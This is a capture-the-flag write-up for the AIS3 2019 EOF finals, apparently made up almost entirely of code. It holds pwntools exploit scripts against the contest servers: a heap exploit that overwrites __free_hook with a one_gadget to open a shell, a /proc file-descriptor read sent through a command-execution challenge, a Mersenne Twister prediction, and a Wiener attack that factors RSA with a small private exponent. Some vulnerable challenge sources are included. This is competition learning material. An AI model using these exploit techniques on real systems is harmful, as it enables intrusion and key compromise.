AIS3 2019 EOF 決賽 write-up

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

# one_gadget = 0x10a38c
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
# o = process('./tt')
one_gadget = 0x106ef8
libc = ELF('libc-2.29.so')
o = remote('eof.ais3.org', 10105)

o.recvuntil(':P')
printf = int(o.recvline().strip(), 16)
libc_pos = printf - libc.sym.printf

print("libc = %x" % libc_pos)

o.recvuntil('choice:')
o.sendline('1')
o.recvuntil('Size:')
o.sendline('100')

o.recvuntil('choice:')
o.sendline('2')
o.recvuntil('Offset:')
o.sendline('0')

o.recvuntil('choice:')
o.sendline('3')
o.recvuntil('Data:')
o.send(p64(libc_pos + libc.sym.__free_hook)[:6])

o.recvuntil('choice:')
o.sendline('1')
o.recvuntil('Size:')
o.sendline('100')

o.recvuntil('choice:')
o.sendline('1')
o.recvuntil('Size:')
o.sendline('100')

o.recvuntil('choice:')
o.sendline('3')
o.recvuntil('Data:')
o.send(p64(libc_pos + one_gadget)[:6])

o.recvuntil('choice:')
o.sendline('2')
o.recvuntil('Offset:')
o.sendline('0')

o.interactive()

#!/usr/bin/env python3

import os
import shutil
import subprocess

def main():
    rng = open('/dev/urandom', encoding='ISO-8859-1').read(32)
    rng = int.from_bytes(bytes(rng, 'utf-8'), 'little')

    dirname = open('/dev/urandom', encoding='ISO-8859-1').read(32)
    dirname = int.from_bytes(bytes(dirname, 'utf-8'), 'little')
    dirname = '/tmp/{}'.format(dirname)

    filename = open('/dev/urandom', encoding='ISO-8859-1').read(32)
    filename = int.from_bytes(bytes(filename, 'utf-8'), 'little')
    filename = '{}/{}'.format(dirname, filename)

    os.mkdir(dirname)
    f = open(filename, 'w')
    f.write('{}\n'.format(rng))
    f.flush()

    shutil.rmtree(dirname)
    chance()
    guess(rng)

def chance():
    cmd = input('Give you a chance to find the flag: ').strip()[:20]
    try:
        p = subprocess.Popen(cmd.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        print(p.communicate()[0].decode('utf-8'))
    except:
        pass

def guess(rng):
    lucky = input("Can't find the flag? Then guess the lucky number: ").strip()
    if int(lucky) == rng:
        print('Enjoy your shell :)')
        os.system('/bin/bash')
    else:
        print('May the luck be with you')

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
from pwn import *

o = remote('eof.ais3.org', 29091)

o.recvuntil('flag:')
o.sendline('ps aux --forest')
ps = o.recvuntil('lucky number:').decode('utf-8')
o.close()
ps = ps.split('\n')

pid = 0
for p in ps:
    if 'ps aux --forest' in p:
        pid = int(p[9:14])
        break

o = remote('eof.ais3.org', 29091)
o.recvuntil('flag:')
o.sendline('cat /proc/%d/fd/3' % (pid + 3))
lucky = int(o.recvline().decode('utf-8').strip())
o.recvuntil('lucky number:')
o.sendline(str(lucky))
o.interactive()

#!/usr/bin/env python3
import random

class RNG:
    def __init__(self):
        self.f = 1812433253
        (self.w, self.n, self.m, self.r) = (32, 624, 397, 31)
        self.a = 0x9908b0df
        (self.u, self.d) = (11, 0xffffffff)
        (self.s, self.b) = (7, 0x9d2c5680)
        (self.t, self.c) = (15, 0xefc60000)
        self.l = 18
        self.lower_mask = (1 << self.r) - 1
        self.upper_mask = (1 << self.r)

        self.index = self.n + 1
        self.state = [0]*self.n
        self.seed = None

    def srand(self, seed):
        self.seed = seed
        self.state[0] = seed & 0xffffffff

        for i in range(1, self.n):
            self.state[i] = (self.f * (self.state[i-1] ^ (self.state[i-1] >> (self.w-2))) + i) & 0xffffffff
            
    def rand(self):
        if self.seed == None:
            self.srand(random.randrange(1, 0xffffffff))
        if self.index >= self.n:
            self.twist()
        
        y = self.state[self.index]
        y = y ^ ((y >> self.u) & self.d)
        y = y ^ ((y << self.s) & self.b)
        y = y ^ ((y << self.t) & self.c)
        y = y ^ (y >> self.l)

        self.index += 1

        return y & 0xffffffff

    def twist(self):
        for i in range(self.n):
            x = self.state[i] & self.upper_mask
            x += self.state[(i+1) % self.n] & self.lower_mask
            xA = x >> 1
            if x % 2 != 0:
                xA ^= self.a
            self.state[i] = self.state[(i+self.m) % self.n] ^ xA
        self.index = 0

def win():
    print('Congratulation!')
    flag = open('/flag', 'r').read()
    print(flag)
    exit(0)

def shuffle(rng):
    print('How many times do you want to shuffle?')
    n = int(input('> ').strip())
    if n < 0:
        print("Don't mess with your luck >:(")
        exit(-1)
    for _ in range(n):
        rng.rand()

def guess(rng):
    print('Now guess the lucky number!')
    n = int(input('> ').strip())
    lucky_number = rng.rand()
    print('Lucky Number:', lucky_number)
    print('Your Guess:', n)
    if n == lucky_number:
        win()
    else:
        print('Better luck next time :(')
    

if __name__ == "__main__":
    rng = RNG()
    
    for _ in range(3):
        shuffle(rng)
        guess(rng)

#!/usr/bin/env python3
from pwn import *
import random

# o = process('./lucky')
o = remote('eof.ais3.org', 39091)

# untempering from 
# https://github.com/kmyk/mersenne-twister-predictor/blob/master/mt19937predictor.py
def untempering(y):
    y ^= (y >> 18)
    y ^= (y << 15) & 0xefc60000
    y ^= ((y <<  7) & 0x9d2c5680) ^ ((y << 14) & 0x94284000) ^ ((y << 21) & 0x14200000) ^ ((y << 28) & 0x10000000)
    y ^= (y >> 11) ^ (y >> 22)
    return y

if __name__ == "__main__":
    lower_mask = (1 << 31) - 1
    upper_mask = (1 << 31)
    x0 = random.randint(0, 0xffffffff)

    # shuffle 1 time to get x1
    o.recvuntil('>')
    o.sendline('1')
    # guess lol
    o.recvuntil('>')
    o.sendline('1')
    o.recvuntil('Lucky Number:')
    x1 = untempering(int(o.recvline().strip()))
    print('x1 = %d' % x1)

    # shuffle 395 to get x397
    o.recvuntil('>')
    o.sendline('395')
    # guess lol
    o.recvuntil('>')
    o.sendline('1')
    o.recvuntil('Lucky Number:')
    x397 = untempering(int(o.recvline().strip()))
    print('x397 = %d' % x397)
    
    # shuffle 624 - 397 to twist
    o.recvuntil('>')
    o.sendline('226')
    
    # twist
    y = x0 & upper_mask
    y += x1 & lower_mask
    yA = y >> 1
    if y % 2 != 0:
        yA ^= 0x9908b0df
    y = x397 ^ yA
    y = y ^ ((y >> 11) & 0xffffffff)
    y = y ^ ((y <<  7) & 0x9d2c5680)
    y = y ^ ((y << 15) & 0xefc60000)
    y = y ^  (y >> 18)
    y &= 0xffffffff
    
    o.recvuntil('>')
    o.sendline(str(y))
    o.interactive()

#!/usr/bin/env python3
from Crypto.Util.number import *

nbit = 384

def gcd(a, b):
    if b == 0:
        return (a, 0, 1)
    g, x, y = gcd(b, a % b)
    return (g, y - (a // b) * x, x)

def modinv(a, m):
    g, x, y = gcd(m, a)
    if g != 1:
        return -1
    return x % m

def gen():
    x, y, z, u = [getPrime(nbit) for _ in range(4)]
    phi = (x-1)*(y-1)*(z-1)*(u-1)
    n = x*y*z*u
    while True:
        d = getRandomInteger(192)
        e = modinv(d, phi)
        if e == -1:
            continue
        break
    return [n, e], [x, y, z, u]


def main():
    pub, pri = gen()
    print (f'n = {pub[0]}')
    print (f'e = {pub[1]}')
    for _ in range(4):
        factor = int(input('give me one prime factor of n : '))
        if factor in pri:
            print ('correct!')
            del pri[pri.index(factor)]
        else:
            print ('you need a stronger machine to bruteforce, here is your link : https://aws.amazon.com/ec2/pricing/on-demand/?nc1=h_ls')
            exit(255)
    print ('nice, here is your flag:')
    with open('flag', 'r') as f:
        print (f.read())

if __name__ == '__main__':
    main()

#!/usr/bin/env python3
from pwn import *
import wiener

# o = process('./run.py')
o = remote('ais3eof.zoolab.org', 9000)

o.recvuntil('n = ')
N = int(o.recvline().strip())
o.recvuntil('e = ')
e = int(o.recvline().strip())

print('N = %d' % N)
print('e = %d' % e)
d, phi = wiener.get_d_phi(N, e)
print('d = %d' % d)
print('phi = %d' % phi)
if d != -1:
    a, b, c, d = wiener.factorize4(e, d, N)
    o.recvuntil('give me one prime factor of n')
    o.sendline(str(a))
    o.recvuntil('give me one prime factor of n')
    o.sendline(str(b))
    o.recvuntil('give me one prime factor of n')
    o.sendline(str(c))
    o.recvuntil('give me one prime factor of n')
    o.sendline(str(d))
    o.interactive()

import ContFrac
import arithm
import random
from Crypto.Util.number import isPrime, getPrime

def get_d_phi(N, e):
    '''
    get d, phi by using continuous
    fraction apporximation
    where e * d = k * phi(N) + 1
    '''
    fr = ContFrac.r_to_fr(e, N)
    co = ContFrac.convfr(fr)
    for k, d in co:
        if k == 0:
            continue
        phi = (e * d - 1) // k
        if phi % (2 ** 4) != 0:
            # phi should be a multiple to 2^4
            continue
        possible = True
        for _ in range(100):
            # test the property of phi
            m = random.randint(0, N - 1)
            if arithm.qpow(arithm.qpow(m, e, N), d, N) != m:
                possible = False
                break
        if possible:
            return d, phi
    return -1, -1

def get_factor(e, d, N):
    '''
    get factor of n with e and d
    '''
    kphi = e * d - 1
    u, t = kphi, 0
    while u % 2 == 0:
        u >>= 1
        t += 1

    pre_w = N - 1
    w = random.randint(2, N - 2)
    w = arithm.qpow(w, u, N)
    for s in range(t):
        if w == 1:
            if pre_w == N - 1:
                break
            return arithm.gcd(pre_w + 1, N)
        pre_w = w
        w = w * w % N
    return -1

def factorize2(e, d, N):
    f = get_factor(e, d, N)
    while f == -1:
        f = get_factor(e, d, N)
    return f, N//f

def factorize3(e, d, N):
    f = get_factor(e, d, N)
    while f == -1:
        f = get_factor(e, d, N)
    if not isPrime(f):
        f = N // f
    p, q = factorize2(e, d, N // f)
    return p, q, f

def factorize4(e, d, N):
    f = get_factor(e, d, N)
    while f == -1:
        f = get_factor(e, d, N)
        if f == -1:
            continue
        if not isPrime(f):
            f = N // f
        if not isPrime(f):
            f = -1
    p, q, r = factorize3(e, d, N // f)
    return f, p, q, r

if __name__ == '__main__':
    '''
    N should be in P*Q*R*S form
    where P,Q,R,S are prime
    '''
    p = getPrime(64)
    q = getPrime(64)
    r = getPrime(64)
    s = getPrime(64)
    d = getPrime(16)
    n = p * q * r * s
    phi = (p - 1) * (q - 1) * (r - 1) * (s - 1)
    while arithm.gcd(d, phi) != 1:
        d = getPrime(16)
    e = arithm.inv(d, phi)
    print('p =', p)
    print('q =', q)
    print('r =', r)
    print('s =', s)
    print('d =', d)
    print('e =', e)
    print('phi =', phi)
    print('kphi =', e * d - 1)
    print(factorize4(e, d, n))

def r_to_fr(a, b):
    '''
    converts rational fraction a/b to
    a list of partial quotients [p0, ..., pn]
    '''
    fr = []
    while b > 0:
        fr.append(a // b)
        c = a
        a = b
        b = c % b
    return fr

def fr_to_r(fr):
    '''
    converts a continued fraction [p0, ..., pn]
    to a rational fraction a/b.
    '''
    if len(fr) == 0:
        return 0, 1
    a, b = fr[-1], 1
    for p in reversed(fr[:-1]):
        # p + 1 / (a / b)
        # p + b / a
        # (p * a + b) / a
        a, b = p * a + b, a
    return a, b

def convfr(fr):
    '''
    computes the list of convergents
    using the list of partial quotients
    '''
    c = []
    for i in range(len(fr)):
        c.append(fr_to_r(fr[:i]))
    return c

if __name__ == '__main__':
    assert(r_to_fr(103, 24) == [4, 3, 2, 3])
    assert(r_to_fr(21, 73) == [0, 3, 2, 10])
    assert(fr_to_r(r_to_fr(21, 73)) == (21, 73))
    assert(fr_to_r(r_to_fr(1290312, 239081)) == (1290312, 239081))
    print('OK')

'''
from https://github.com/pablocelayes/rsa-wiener-attack/blob/master/Arithmetic.py
'''

def egcd(a,b):
    '''
    Extended Euclidean Algorithm
    returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
    '''
    u, u1 = 1, 0
    v, v1 = 0, 1
    while b:
        q = a // b
        u, u1 = u1, u - q * u1
        v, v1 = v1, v - q * v1
        a, b = b, a - q * b
    return u, v, a

def gcd(a,b):
    '''
    2.8 times faster than egcd(a,b)[2]
    '''
    a,b=(b,a) if a<b else (a,b)
    while b:
        a,b=b,a%b
    return a

def inv(e,n):
    '''
    d such that de = 1 (mod n)
    e must be coprime to n
    this is assumed to be true
    '''
    return egcd(e,n)[0]%n

def qpow(a, b, m):
    '''
    equals to pow(a, b) % m
    '''
    r = 1
    while b:
        if b & 1:
            r = r * a % m
        b >>= 1
        a = a * a % m
    return r % m